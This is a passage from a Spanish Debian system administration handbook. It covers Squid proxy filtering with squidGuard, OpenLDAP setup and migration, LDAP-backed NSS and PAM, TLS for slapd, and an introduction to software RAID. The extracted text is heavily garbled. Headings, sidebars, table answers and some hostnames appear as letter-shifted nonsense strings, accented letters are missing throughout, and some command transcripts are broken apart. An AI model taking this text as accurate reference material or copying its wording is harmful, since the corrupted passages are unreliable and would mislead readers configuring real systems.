con el administrador de la red para evitar posibles conflictos de nombre.

 $POGJHVSBDJO EF VO DBDI


Activar la funcionalidad de servidor de cach es tan simple como editar el archivo de configuracin /etc/squid/squid.conf y permitir que las mquinas en la red local realicen consultas
a travs del proxy. El siguiente ejemplo muestra las modificaciones realizadas por los administradores de Falcot Corp:
&KFNQMP 

&M BSDIJWP /etc/squid/squid.conf FYUSBDUPT

# AGREGUE SUS PROPIAS REGLAS AQU PARA PERMITIR ACCESO DE SUS CLIENTES
# Regla de ejemplo que permite acceso desde su red local. Adptela
# para incluir sus redes IP (internas) desde las que se debe
# permitir navegar
acl our_networks src 192.168.1.0/24 192.168.2.0/24
http_access allow our_networks
http_access allow localhost
# Finalmente, negar todo otro acceso a este proxy
http_access deny all

 $POGJHVSBDJO EF VO GJMUSP


squid en s mismo no realiza el filtrado; esta accin es delegada a squidGuard. Debe configurar

el primero para que interacte con este ltimo. Esto incluye agregar la siguiente directiva en el
archivo /etc/squid/squid.conf:
redirect_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

Tambin necesita instalar el programa CGI /usr/lib/cgi-bin/squidGuard.cgi utilizando /usr/share/doc/squidguard/examples/squidGuard.cgi.gz como punto de partida. Las
modificaciones necesarias a este script son las varialbes $proxy y $proxymaster (el nombre
del proxy y el correo de contacto del administrador, respectivamente). Las variables $image y
$redirect deben apuntar a imgenes existentes que representen el rechazo de una consulta.
Debe ejecutar /etc/init.d/squid reload para activar el filtro. Sin embargo, debido a que
el paquete squidguard no es un filtro de forma predeterminada, es tarea del administrador
definir su poltica. Puede hacerlo creando el archivo /etc/squid/squidGuard.conf (utilizando
la plantilla /etc/squidguard/squidGuard.conf.default si lo desea).
Debe regenerar la base de datos de trabajo con update-squidguard luego de cada modificacin
al archivo de configuracin de squidGuard (o uno de las listas de dominios o URLs que men-



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

ciona). La sintaxis del archivo de configuracin se encuentra documentada en el siguiente sitio


web:
http://www.squidguard.org/Doc/configure.html
"-5&3/"5*7"
%BOT(VBSEJBO

&M QBRVFUF EBOTHVBSEJBO FT VOB BMUFSOBUJWB B TRVJEHVBSE &TUF TPXBSF OP TMP


HFTUJPOB VOB MJTUB OFHSB EF 63-T QSPIJCJEBT TJOP RVF QVFEF BQSPWFDIBS FM
TJTUFNB 1*$4 QMBUBGPSNB QBSB TFMFDDJO EF DPOUFOJEP FO *OUFSOFU k1MBUGPSN GPS
*OUFSOFU $POUFOU 4FMFDUJPO{
QBSB EFDJEJS TJ VOB QHJOB FT BDFQUBCMF NFEJBOUF
FM BOMJTJT EJONJDP EF TV DPOUFOJEP

 %JSFDUPSJP -%"1


OpenLDAP es una implementacin del protocolo LDAP; en otras palabras, es una base de datos
de propsito especial diseada para almacenar directorios. En el caso de uso ms comn, utilizar
un servidor LDAP permite centralizar la administracin de las cuentas de usuarios y permisos
relacionados. Lo que es ms, puede replicar fcilmente una base de datos LDAP, lo que permite
configurar varios servidores LDAP sincronizados. Cuando la red y cantidad de usuarios crecen
rpidamente, puede balancear la carga entre varios servidores.
Los datos LDAP son estructurados y jerrquicos. La estructura es definida por esquemas
(schemas) que describen el tipo de objetos que la base de datos puede almacenar junto con
una lista de todos sus atributos posibles. La sintaxis utilizada para hacer referencia a un objeto
particular en la base de datos est basada en esta estructura, lo que explica su complejidad.

 *OTUBMBDJO
El paquete slapd contiene el servidor OpenLDAP. El paquete ldap-utils incluye herramientas de
lnea de rdenes para interactuar con servidores LDAP.
La instalacin de slapd normalmente no es interactiva a menos que haya configurado debconf
para que realice preguntas con menor prioridad. De todas formas, es compatible con debconf,
por lo que puede reconfigurar la base de datos LDP con un simple dpkg-reconfigure slapd:
Evitar la configuracin del servidor OpenLDAP? No, por supuesto que deseamos configurar este servicio.
Nombre de dominio DNS: GBMDPUDPN.
Nombre de la organizacin: Falcot Corp.
Debe ingresar la contrasea de administracin.
Base de datos a utilizar: HDB.
Desea eliminar la base de datos cuando se purge slapd? No. No tiene sentido arriesgarse
a perder la base de datos por error.

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



Mover una base de datos anterior? Esta pregunta slo es realizada cuando se intenta
configurarlo y ya existe una base de datos. Slo responda yes si realmente desea iniciar
nuevamente desde una base de datos limpia; por ejemplo, si ejecuta dpkg-reconfigure
slapd inmediatamente despus de instalarlo por primera vez.
Permitir el protocol LDAPv2? No, no tiene sentido. Todas las herramientas que utilizaremos entienden el protocolo LDAPv3.

70-7&3 " -04


$*.*&/504
'PSNBUP -%*'

6O BSDIJWP -%*' GPSNBUP EF JOUFSDBNCJPT EF EBUPT -%"1 k-%"1 %BUB *OUFS


DIBOHF 'PSNBU{
FT VO BSDIJWP EF UFYUP QPSUBCMF RVF EFTDSJCF FM DPOUFOJEP EF
VOB CBTF EF EBUPT -%"1 P VOB QPSDJO EF MB NJTNB
 QVFEF VUJMJ[BSMP QBSB
JOUSPEVDJS EBUPT FO PUSP TFSWJEPS -%"1

Ahora tiene configurada una base de datos mnima, como podr ver con la siguiente consulta:
$
#
#
#
#
#
#
#

ldapsearch -x -b dc=falcot,dc=com
extended LDIF
LDAPv3
base <dc=falcot,dc=com> with scope sub
filter: (objectclass=*)
requesting: ALL

# falcot.com
dn: dc=falcot,dc=com
objectClass: top
objectClass: dcObject
objectClass: organization
o: Falcot Corp
dc: falcot
# admin, falcot.com
dn: cn=admin,dc=falcot,dc=com
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator
# search result
search: 2
result: 0 Success
# numResponses: 3
# numEntries: 2

La consulta devolvi dos objetos: la organizacin en s mismo y el usuario de administracin.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 3FMMFOP EFM EJSFDUPSJP


Debido a que una base de datos vaca no es particularmente til, agregaremos en ella todos los
directorios existenes; esto incluye las bases de datos de usuarios, grupos, servicios y equipos.
El paquete migrationtools proporciona un conjunto de scripts para extraer los datos de los directorios estndar de Unix (/etc/passwd, /etc/group, /etc/services, /etc/hosts, etc.), convetir estos datos y agregarlos en la base de datos LDAP.
Una vez que instal el paquete, es necesario editar el archivo /etc/migrationtools/migrate_
common.ph; debe activar las opciones IGNORE_UID_BELOW y IGNORE_GID_BELOW (descomentarlas es suficiente) y debe actualizar DEFAULT_MAIL_DOMAIN/DEFAULT_BASE.
La operacin de migracin en s es gestionada por el script migrate_all_online.sh, como
sigue:
# cd /usr/share/migrationtools
# LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

realizar unas pocas preguntas sobre la base de datos LDAP a la que


migrar los datos. La Tabla11.1 resume las respuestas dadas en el caso de uso de Falcot.
migrate_all_online.sh

Pregunta
Contexto de nombre X.500
Nombre del servidor LDAP
Administrador del DN
Credenciales Bind
Crear DUAConfigProfile

Respuesta

EDGBMDPU EDDPN
MPDBMIPTU
DOBENJO EDGBMDPU EDDPN
la contrasea de administracin
no

$VBESP  3FTQVFTUBT B MBT QSFHVOUBT EFM TDSJQU

migrate_all_online.sh

Deliberadamente evitamos migrar el archivo /etc/aliases, ya que el esquema estndar provisto por Debian no incluye la estructura que utiliza este script para describir alias de correo. Si
quisiramos integrar estos datos en el directorio, debe agregar el archivo /etc/ldap/schema/
misc.schema al esquema estndar.
)&33".*&/5"
/BWFHBDJO EF VO EJSFDUPSJP
-%"1

&M QSPHSBNB jxplorer FO FM QBRVFUF EFM NJTNP OPNCSF


FT VOB IFSSBNJFOUB
HSGJDB RVF QFSNJUF OBWFHBS Z FEJUBS VOB CBTF EF EBUPT -%"1 &T VOB IFS
SBNJFOUB JOUFSFTBOUF RVF QSPWFF BM BENJOJTUSBEPS VOB CVFOB WJTJO EF MB FT
USVDUVSB KFSSRVJDB EF MPT EBUPT EF -%"1

Sepa tambin que el programa ldapadd tiene una opcin D; esta opcin solicita que no se detenga el proceso en caso de errores. Es necesario utilizar esta opcin debido a que la conversin
del archivo /etc/services genera unos pocos errores que puede ignorar sin problemas.

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



 "ENJOJTUSBDJO EF DVFOUBT DPO -%"1


Ahora que la base de datos LDAP contiene informacin til, es momento de utilizar estos datos.
Esta seccin se enfoca en cmo configurar un sistema Linux para que los directorios de sistema
utilicen la base de datos LDAP.

$POGJHVSBDJO EF /44
El sistema NSS (cambio de servicio de nombres: Name Service Switch, revise el recuadro NSS
y bases de datos de sistema pgina 165) es un sistema modular diseado para definir u obtener
informacin para directorios de sistemas. Utilizar LDAP como fuente de datos para NSS requiere
instalar el paquete libnss-ldap. Al hacerlo, se harn unas pocas preguntas cuyas respuestas estn
resumidas en la Tabla11.2 .
Pregunta
Identificar de recurso uniforme (URI) del
servidor LDAP
Nombre distinguido de la base de bsqueda
Versin LDAP a utilizar
La base de datos LDAP requiere inicio de
sesin?
Permisos LDAP especiales para root
Modifique el archivo de configuracin para
que slo pueda ser ledo/escrito por su
dueo
cuenta LDAP para root
contrasea de la cuenta root de LDAP
$VBESP 

Respuesta

MEBQMEBQGBMDPUDPN
EDGBMDPU EDDPN

no
si
no

DOBENJO EDGBMDPU EDDPN


la contrasea de administracin

$POGJHVSBDJO EFM QBRVFUF MCOTTMEBQ

Luego necesita modificar el archivo /etc/nsswitch.conf para configurar que NSS utilice el
mdulo ldap recin instalado.
&KFNQMP 
#
#
#
#
#
#

/etc/nsswitch.conf
Ejemplo de configuracin de la funcionalidad de GNU Name Service
Switch. Si estn instalados los paquetes glibc-doc e info,
intente info libc "Name Service Switch" para ms informacin
sobre este archivo.

passwd: ldap compat


group: ldap compat



&M BSDIJWP /etc/nsswitch.conf

&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

shadow: ldap compat


hosts: files dns ldap
networks: ldap files
protocols: ldap db files
services: ldap db files
ethers: ldap db files
rpc: ldap db files
netgroup: ldap files

Generalmente agregar el mdulo ldap antes que los dems para que, de esa forma, sea consultado primero. La excepcin notable es el servicio IPTUT ya que para contactar el servidor LDAP
necesita una consulta de DNS primero (para resolver MEBQGBMDPUDPN). Sin esta excepcin, una
consulta de nombres intentara consultar al servidor LDAP; esto disparara una resolucin de
nombres para el servidor LDAP, y as sucesivamente en un ciclo infinito.
Si se debe considerar al servidor LDAP como autoritativo (e ignorar los archivos locales utilizados por el mdulo files), puede configurar los servicios con la siguiente sintaxis:

TFSWJDJPMEBQ </05'06/%SFUVSO> GJMFT.


Si la entrada solicitada no existe en la base de datos LDAP, la consulta devolver la respuesta
inexistente an cuando el recurso exista en uno de los archivos locales; slo se utilizarn
estos archivos locales cuando el servicio LDAP est cado.

$POGJHVSBDJO EF 1".
Esta seccin describe una configuracin PAM (revise el recuadro /etc/environment y /etc/
default/locale pgina 153) que permitir a las aplicaciones realizar las autenticaciones necesarias contra la base de datos LDAP.
13&$"6$*/
"VUFOUJDBDJO SPUB

.PEJGJDBS MB DPOGJHVSBDJO FTUOEBS EF 1". VUJMJ[BEB QPS WBSJPT QSPHSBNBT


FT VOB PQFSBDJO EFMJDBEB 6O FSSPS QVFEF MMFWBS B VOB BVUFOUJDBDJO SPUB MP
RVF QPESB JNQFEJS JOJDJBS TFTJPOFT 1PS MP RVF SFDPNFOEBNPT NBOUFOFS VOB
DPOTPMB EF SPPU BCJFSUB 4J PDVSSJFSB DVBMRVJFS FSSPS EF DPOGJHVSBDJO QPESB
TPMVDJPOBSMP Z SFJOJDJBS MPT TFSWJDJPT GDJMNFOUF

El paquete libpam-ldap provee el mdulo LDAP para PAM. La instalacin de este paquete realiza
unas pocas preguntas muy similares a aquellas en el paquete libnss-ldap; algunos parmetros de
configuracin (como el URI del servidor LDAP) son inclusive compartidos con el paquete libnssldap. Encontrar resumidas las respuestas en la Tabla11.3 .
Instalar el paquete libpam-ldap automticamente adapta la configuracin PAM predeterminada definida en los archivos /etc/pam.d/common-auth, /etc/pam.d/common-password y /etc/
pam.d/common-account. Este mecanismo utiliza la herramienta dedicada pam-auth-update

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



Pregunta
Permitir a la cuenta de administracin
LDAP comportarse como root local?
La base de datos LDAP requiere inicio de
sesin?
cuenta LDAP para root
contrasea de la cuenta root de LDAP
Algoritmo local de cifrado para las contraseas
$VBESP 

Respuesta
S. Esto permite utilizar el programa passwd
tpico para modificar las contraseas almacenadas en la base de datos LDAP.
no

DOBENJO EDGBMDPU EDDPN


la contrasea de administracin de la base
de datos LDAP
crypt

$POGJHVSBDJO EF MJCQBNMEBQ

(provista por el paquete libpam-runtime). El administrador tambin puede utilizar esta herramienta si desea activar o desactivar mdulos PAM.

1SPUFDDJO EF JOUFSDBNCJPT EF EBUPT -%"1


De forma predeterminada, el protocolo LDAP se transmite por la red como texto plano; incluyendo las contraseas (cifradas). Debido a que se pueden obtener las claves cifradas de la
red, pueden ser vulnerables a ataques de tipo diccionario. Puede evitarlo aplicando una capa
extra de cifrado; el tema de esta seccin es cmo activar esta capa.
Configuracin del servidor El primer paso es crear un par de llaves (compuestas de una llave
pblica y una llave privada) para el servidor LDAP. Los administradores de Falcot reutilizaron
easy-rsa para generarlas (revise la Seccin 10.2.1.1, Infraestructura de llave pblica: easy-rsa
pgina 231. Si ejecuta ./build-server-key ldap.falcot.com deber responder unas pocas
preguntas mundanas (ubicacin, nombre de la organizacin, etc.). La respuesta a la pregunta por
el nombre comn (common name) debe ser el nombre de equipo completamente calificado
del servidor LDAP; en nuestro caso: MEBQGBMDPUDPN.
Este programa crea un certificado en el archivo keys/ldap.falcot.com.crt; la llave privada
correspondiente es almacenada en keys/ldap.falcot.com.key.
Ahora debe instalar estas llaves en sus ubicaciones estndar y debemos asegurarnos que el servidor LDAP, que ejecuta bajo la identidad del usuario PQFOMEBQ, pueda leer el archivo privado:
# adduser openldap ssl-cert
Adding user `openldap' to group `ssl-cert' ...
Adding user openldap to group ssl-cert
Done.
# mv keys/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key
# chown root:ssl-cert /etc/ssl/private/ldap.falcot.com.key
# chmod 0640 /etc/ssl/private/ldap.falcot.com.key



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

# mv newcert.pem /etc/ssl/certs/ldap.falcot.com.pem

Tambin necesita indicarle al demonio slapd que utilice estas llaves para el cifrado. La configuracin del servidor LDAP es gestionada de forma dinmica: puede actualizar la configuracin
con operaciones LDAP normales en la jerarqua de objetos DODPOGJH y el servidor actualizar
/etc/ldap/slapd.d en tiempo real para que la configuracin sea persistente. Por lo tanto,
ldapmodify es la herramienta correcta para actualizar la configuracin:
&KFNQMP 

$POGJHVSBDJO EF slapd QBSB DJGSBEP

# cat >ssl.ldif <<END


dn: cn=config
changetype: modify
add: olcTLSCertificateFile
olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem
add: olcTLSCertificateKeyFile
olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key
END
# ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "cn=config"

)&33".*&/5"
ldapvi QBSB FEJUBS VO
EJSFDUPSJP -%"1

$PO ldapvi QVFEF NPTUSBS DVBMRVJFS TFDDJO EFM EJSFDUPSJP -%"1 FO GPSNBUP
-%*' SFBMJ[BS DBNCJPT FO FM FEJUPS EF UFYUP Z EFKBS RVF MB IFSSBNJFOUB SFBMJDF
MBT PQFSBDJPOFT -%"1 DPSSFTQPOEJFOUFT
1PS MP UBOUP FT VOB GPSNB DPOWFOJFOUF QBSB BDUVBMJ[BS MB DPOGJHVSBDJO EFM
TFSWJEPS -%"1 TJNQMFNFOUF FEJUBOEP MB KFSBSRVB cn=config
# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

El ltimo paso para activar el cifrado involucra cambiar la variable SLAPD_SERVICES en el archivo /etc/default/slapd. Para esta ms seguros desactivaremos LDAP inseguro completamente.
&KFNQMP 

&M BSDIJWP /etc/default/slapd

# Ubicacin predeterminada del archivo slapd.conf o el directorio cn=config


# de slapd.d. Si est vaco, utilice el valor predeterminado durante la
# compilacin (/etc/ldap/slapd.d con /etc/ldap/slapd.conf como respaldo).
SLAPD_CONF=

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



# Cuenta del sistema bajo la que se ejecutar el servidor slapd. Si est


# vaco, el servidor ejecutar como root.
SLAPD_USER="openldap"
# Grupo del sistema bajo el que se ejecutar el servidor slapd. Si est
# vaco, el servidor ejecutar en el grupo primario de su usuario.
SLAPD_GROUP="openldap"
# Ruta al archivo de pid del servidor slapd. Si no est definido, el script
# init.d intentar adivinarlo basndose en $SLAPD_CONF
# (/etc/ldap/slapd.conf de forma predeterminada)
SLAPD_PIDFILE=
# slapd normalmente provee slo ldap en todos los puertos TCP 389. slapd
# tambin puede atender pedidos en el puerto TCP 636 (ldaps) y a travs
# de zcalos unix.
# Ejemplo de uso:
# SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///"
SLAPD_SERVICES="ldaps:/// ldapi:///"
# Si est definida SLAPD_NO_START, el script de inicializacin no iniciar
# o reiniciar slapd (podr detenerlo, sin embargo). Descomente esta lnea
# si est iniciando slapd por otros medios o no desea que inicie slapd
# durante el arranque del equipo.
#SLAPD_NO_START=1
# Si SLAPD_SENTINEL_FILE est configurado como la ruta a un archivo y dicho
# archivo exist, el script de inicializacin no iniciar o reiniciar slapd
# (podr detenerlo, sin embargo). Utilcelo para desactivar temporalmente
# el inicio de slapd (por ejemplo, mientras realiza mantenimiento o con un
# sistema de administracin de configuraciones) cuando no desee editar
# un archivo de configuracin.
SLAPD_SENTINEL_FILE=/etc/ldap/noslapd
# Para autenticacin Kerberos (a travs de SASL), slapd utiliza el archivo
# keytab del sistema (/etc/krb5.keytab) de forma predeterminada. Descomente
# esta lnea y cambie la ruta si desea utilizar otro archivo keytab.
#export KRB5_KTNAME=/etc/krb5.keytab
# Opciones adicionales para slapd
SLAPD_OPTIONS=""

Configuracin del cliente En lado cliente, necesita modificar la configuracin de los mdulos
libpam-ldap y libnss-ldap para que utilicen una URI MEBQT.
Los clientes LDAP tambin necesitan poder autenticar el servidor. En una infraestructura de
llave pblica X.509, los certificados pblicos estn firmados con la llave de una autoridad de



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

certificacin (CA). Con easy-rsa, los administradores de Falcot crearon su propia CA y ahora necesitan configurar el sistema para confiar en las firmas de la CA de Falcot. Puede lograr esto ubicando el certificado de la CA En /usr/local/share/ca-certificates y ejecutando updateca-certificates.
# cp keys/ca.crt /usr/local/share/ca-certificates/falcot.crt
# update-ca-certificates
Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d....
Adding debian:falcot.pem
done.
done.

Por ltimo, puede modificar la URI LDAP predeterminada y el DN base predeterminado utilizado por varias herramientas de lnea de rdenes en el archivo /etc/ldap/ldap.conf. Esto le
ahorrar bastante tiempo.
&KFNQMP 

&M BSDIJWP /etc/ldap/ldap.conf

#
# Valores predeterminados para LDAP
#
# Revise ldap.conf(5) para ms detalles
# Este archivo debe poder ser ledo (pero no escrito) por cualquiera.
BASE
URI

dc=falcot,dc=com
ldaps://ldap.falcot.com

#SIZELIMIT
#TIMELIMIT
#DEREF

12
15
never

# Certificados TLC (necesarios para GnuTLS)


TLS_CACERT /etc/ssl/certs/ca-certificates.crt

Este captulo slo analiza una parte de todo el software de servidor disponible; sin embargo,
describimos la mayora de los servicios de red. Ahora es el momento de un captulo an ms
tcnico: profundizaremos en los detalles de algunos conceptos, describiremos los despliegues
masivos y la virtualizacin.

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



1BMBCSBT DMBWF
3"*%
-7.
'"*
1SFTFNCSBEP
.POJUPSJ[BDJO
7JSUVBMJ[BDJO
9FO
-9$

$BQUVMP

"ENJOJTUSBDJO
BWBO[BEB


$POUFOJEPT

3"*% Z -7. 

7JSUVBMJ[BDJO 

*OTUBMBDJO BVUPNBUJ[BEB 

Este captulo vuelve sobre algunos aspectos que ya se han descripto anteriormente
con una perspectiva diferente: en lugar de instalar un nico equipo vamos a estudiar
sistemas de despliegue masivo; en lugar de crear volmenes RAID o LVM durante la
instalacin, vamos a aprender a hacerlo a mano para que posteriormente podamos
revisar nuestras elecciones iniciales. Por ltimo veremos herramientas de monitorizacin y tcnicas de virtualizacin. Como consecuencia de lo anterior, este captulo
se dirige ms a administradores profesionales y no tanto a personas responsables nicamente de su red domstica.

.POJUPSJ[BDJO 

 3"*% Z -7.


El Captulo 4: Instalacin pgina 50 presentaba estas tecnologas desde el punto de vista del
instalador y cmo ste las integra para hacer sencillo su despliegue desde el comienzo. Despus
de la instalacin inicial, un administrador debe ser capaz de gestionar las cambiantes necesidades de espacio sin tener que recurrir a una reinstalacin. Por lo tanto necesita dominar las
herramientas necesarias para manipular volmenes RAID y LVM.
Tanto RAID como LVM son tcnicas para abstraer los volmenes montados de sus correspondientes dispositivos fsicos (discos duros reales o particiones de los mismos). El primero protege
los datos contra fallos de hardware agregando redundancia mientras que el segundo hace ms
flexible la gestin de los volmenes y los independiza del tamao real de los discos subyacentes.
En ambos casos se crean nuevos dispositivos de bloques en el sistema que pueden ser utilizados tanto para crear sistemas de archivos como espacios de intercambio sin necesidad de que
se asocien a un disco fsico concreto. RAID y LVM tienen orgenes bastante diferentes pero su
funcionalidad a veces se solapa, por lo que a menudo se mencionan juntos.
1&341&$5*7"
#USGT DPNCJOB -7. Z 3"*%

.JFOUSBT RVF -7. Z 3"*% TPO EPT TVCTJTUFNBT EJGFSFODJBEPT EFM ODMFP RVF
TF JOUFSQPOFO FOUSF MPT EJTQPTJUJWPT EF CMPRVFT EF EJTDP Z TVT TJTUFNBT EF
BSDIJWPT CUSGT FT VO OVFWP TJTUFNB EF BSDIJWPT EFTBSSPMMBEP PSJHJOBMNFOUF
QPS 0SBDMF RVF DPNCJOB MBT DBSBDUFSTUJDBT EF -7. 3"*% Z NVDIBT NT &T
GVODJPOBM FO TV NBZPS QBSUF Z B QFTBS EF FTUBS UPEBWB FUJRVFUBEP DPNP kFY
QFSJNFOUBM{ QPSRVF TV EFTBSSPMMP BO FTU JODPNQMFUP BMHVOBT DBSBDUFSTUJDBT
UPEBWB OP FTUO JNQMFNFOUBEBT
TF DPOPDFO FYQFSJFODBT EF VTP FO FOUPSOPT
SFBMFT
http://btrfs.wiki.kernel.org/

&OUSF MBT DBSBDUFSTUJDBT NT OPUBCMFT FTU FM QPEFS UPNBS VOB JOTUBOUOFB EFM
TJTUFNB EF BSDIJWPT FO DVBMRVJFS NPNFOUP &TUB DPQJB JOTUBOUOFB OP VUJMJ[B
JOJDJBMNFOUF FTQBDJP FO FM EJTDP Z TMP TF EVQJDB BRVFMMB JOGPSNBDJO RVF FT
NPEJGJDBEB FO BMHVOB EF MBT DPQJBT &TUF TJTUFNB EF BSDIJWPT UBNCJO HFTUJPOB
EF GPSNB USBOTQBSFOUF MB DPNQSFTJO EF BSDIJWPT Z IBDF TVNBT EF WFSJGJDBDJO
QBSB HBSBOUJ[BS MB JOUFHSJEBE EF UPEB MB JOGPSNBDJO BMNBDFOBEB

Tanto en el caso de RAID como en el de LVM, el ncleo proporciona un archivo de dispositivo de


bloques similar a los que corresponden a un disco duro o una particin. Cuando una aplicacin
u otra parte del ncleo necesita acceder a un bloque de estos dispositivos, el subsistema apropiado canaliza el bloque a la capa fsica apropiada. Dependiendo de la configuracin este bloque
podra estar almacenado en uno o varios discos, y su localizacin puede no estar directamente
relacionada con la ubicacin del bloque en el dispositivo lgico.

 3"*% QPS TPXBSF


RAID significa array redundante de discos independientes (Redundant Array of Independent
Disks). El objetivo de este sistema es evitar prdida de datos en caso que falle un disco duro.
El principio general es bastante simple: se almacenan los datos en varios discos fsicos en lugar



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

de slo uno, con un nivel de redundancia configurable. Dependiendo de esta cantidad de redundancia, y an en caso de fallo inesperado del disco, se puede reconstruir los datos sin prdida
desde los discos restantes.
$6-563"
*OEFQFOEJFOUF P FDPONJDP

-B MFUSB * FO 3"*% FSB PSJHJOBMNFOUF JOJDJBM EF FDPONJDP kJOFYQFOTJWF{


EF
CJEP B RVF 3"*% QFSNJUB VO BVNFOUP ESTUJDP FO MB TFHVSJEBE EF MPT EBUPT
TJO MB OFDFTJEBE EF JOWFSUJS FO DPTUPTPT EJTDPT EF BMUB HBNB 4JO FNCBSHP
QSPCBCMFNFOUF EFCJEP B QSFPDVQBDJPOFT EF JNBHFO BIPSB TF TVFMF DPOTJEFSBS
RVF FT JOJDJBM EF JOEFQFOEJFOUF MP RVF OP UJFOF FM TBCPS BNBSHP EF JNQMJDBS
NF[RVJOEBE

Se puede implementar RAID tanto con hardware dedicado (mdulos RAID integrados en las tarjetas controladoras SCSI o SATA) o por abstraccin de software (el ncleo). Ya sea por hardware
o software, un sistema RAID con suficiente redundancia puede mantenerse operativo de forma transparente cuando falle un disco; las capas superiores (las aplicaciones) inclusive pueden
seguir accediendo a los datos a pesar del fallo. Por supuesto, este modo degradado puede tener un impacto en el rendimiento y se reduce la reduncancia, por lo que otro fallo de disco puede
llevar a la prdida de datos. En la prctica por lo tanto, uno intentar estar en este modo degradado slo el tiempo que tome reemplazar el disco fallado. Una vez que instale el nuevo disco, el
sistema RAID puede reconstruir los datos necesarios para volver a un modo seguro. Las aplicaciones no notarn cambio alguno, adems de la posible disminucin en la velocidad de acceso,
mientras que el array est en modo degradado o durante la fase de reconstruccin.
Cuando se implementa RAID con hardware, generalmente se lo configura desde la herramienta
de configuracin del BIOS y el ncleo considerar el array RAID como un solo disco que funcionar como un disco fsico estndar, pero el nombre del dispositivo podra ser diferente. Por
ejemplo, el ncleo en Squeeze nombra a algunos arrays RAID por hardware disponibles como
/dev/cciss/c0d0; el ncleo en Wheezy cambi este nombre al ms natural /dev/sda, pero otros
controladores RAID podran tener un comportamiento diferente.
En este libro slo nos enfocaremos en RAID por software.

%JGFSFOUFT OJWFMFT EF 3"*%


RAID no es slo un sistema sino un rango de sistemas identificados por sus niveles, los cuales se
diferencian por su disposicin y la cantidad de redundancia que proveen. Mientras ms redundantes, ms a prueba de fallos sern ya que el sistema podr seguir funcionando con ms discos
fallados. Por el otro lado, el espacio utilizable disminuye dado un conjunto de discos; visto de
otra forma, necesitar ms discos para almacenar una cantidad de datos particular.
RAID lineal An cuando el subsistema RAID del ncleo permite crear RAID lineal, esto no
es RAID propiamente ya que esta configuracin no provee redundancia alguna. El ncleo
simplemente agrupa varios discos de punta a punta y provee el volmen agrupado como
un solo disco virtual (un dispositivo de bloque). Esa es toda su funcin. Rara vez se utiliza

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



nicamente esta configuracin (revise ms adelante las excepciones), especialmente debido a que la falta de redundancia significa que el fallo de un disco har que todo el grupo,
y por lo tanto todos los datos, no estn disponibles.
RAID-0 Este nivel tampoco provee redundancia, pero los discos no estn simplemente agrupados uno despus del otro: estn divididos en tiras (stripes), y los bloques en el dispositivo
virtual son almacenados en tiras de discos fsicos alternados. En una configuracin RAID-0
de dos discos, por ejemplo, los bloques pares del dispositivo virtual sern almacenados en
el primer disco fsico mientras que los bloques impares estarn en el segundo disco fsico.
Este sistema no intenta aumentar la confiabilidad ya que (como en el caso lineal) se compromete la disponibilidad de todos los datos tan pronto como falle un disco, pero s aumenta el rendimiento: durante el acceso secuencial a grandes cantidades de datos contiguos,
el ncleo podr leer de (o escribir a) ambos discos en paralelo, lo que aumentar la tasa
de transferencia de datos. Sin embargo, est disminuyendo el uso de RAID-0 en favor de
LVM (revise ms adelante).
RAID-1 Este nivel, tambin conocido como espejado RAID (mirroring) es la configuracin
ms simple y la ms utilizada. En su forma estndar, utiliza dos discos fsicos del mismo
tamao y provee un volmen lgico nuevamente del mismo tamao. Se almacenan los
datos de forma idntica en ambos discos, de ah el apodo espejo (mirror). Cuando
falla un disco, los datos continan disponibles en el otro. Para datos realmente crticos,
obviamente, RAID-1 puede configurarse con ms de dos discos, con un impacto directo en
la relacin entre el costo del hardware y el espacio disponible para datos tiles.



/05"
%JTDPT Z UBNBPT EF
kDMVTUFS{

4J DPOGJHVSB FO FTQFKP EPT EJTDPT EF EJGFSFOUFT UBNBPT FM NT HSBOEF


OP TFS DPNQMFUBNFOUF VUJMJ[BEP ZB RVF DPOUFOES MPT NJTNPT EBUPT
RVF FM NT QBRVFP Z OBEB NT 1PS MP UBOUP FM FTQBDJP UJM RVF QSPWFF
VO WPMNFO 3"*% FT FM UBNBP EFM NFOPS EF MPT EJTDPT FO FM BSSBZ &T
UP UBNCJO BQMJDB B WPMNFOFT 3"*% EF NBZPS OJWFM 3"*% BO DVBOEP
MB SFEVOEBODJB TF BMNBDFOF EF GPSNB EJGFSFOUF
1PS MP UBOUP FT JNQPSUBOUF DVBOEP DPOGJHVSF BSSBZT 3"*% B FYDFQDJO
EF 3"*% Z k3"*% MJOFBM{
TMP BHSVQBS EJTDPT EF UBNBP JEOUJDP P
NVZ TJNJMBSFT QBSB FWJUBS EFTQFSEJDJBS SFDVSTPT

/05"
%JTDPT MJCSFT

-PT OJWFMFT 3"*% RVF JODMVZFO SFEVOEBODJB QFSNJUFO BTJHOBS B VO BS


SBZ NT EJTDPT RVF MPT OFDFTBSJPT -PT EJTDPT BEJDJPOBMFT TPO VUJMJ[B
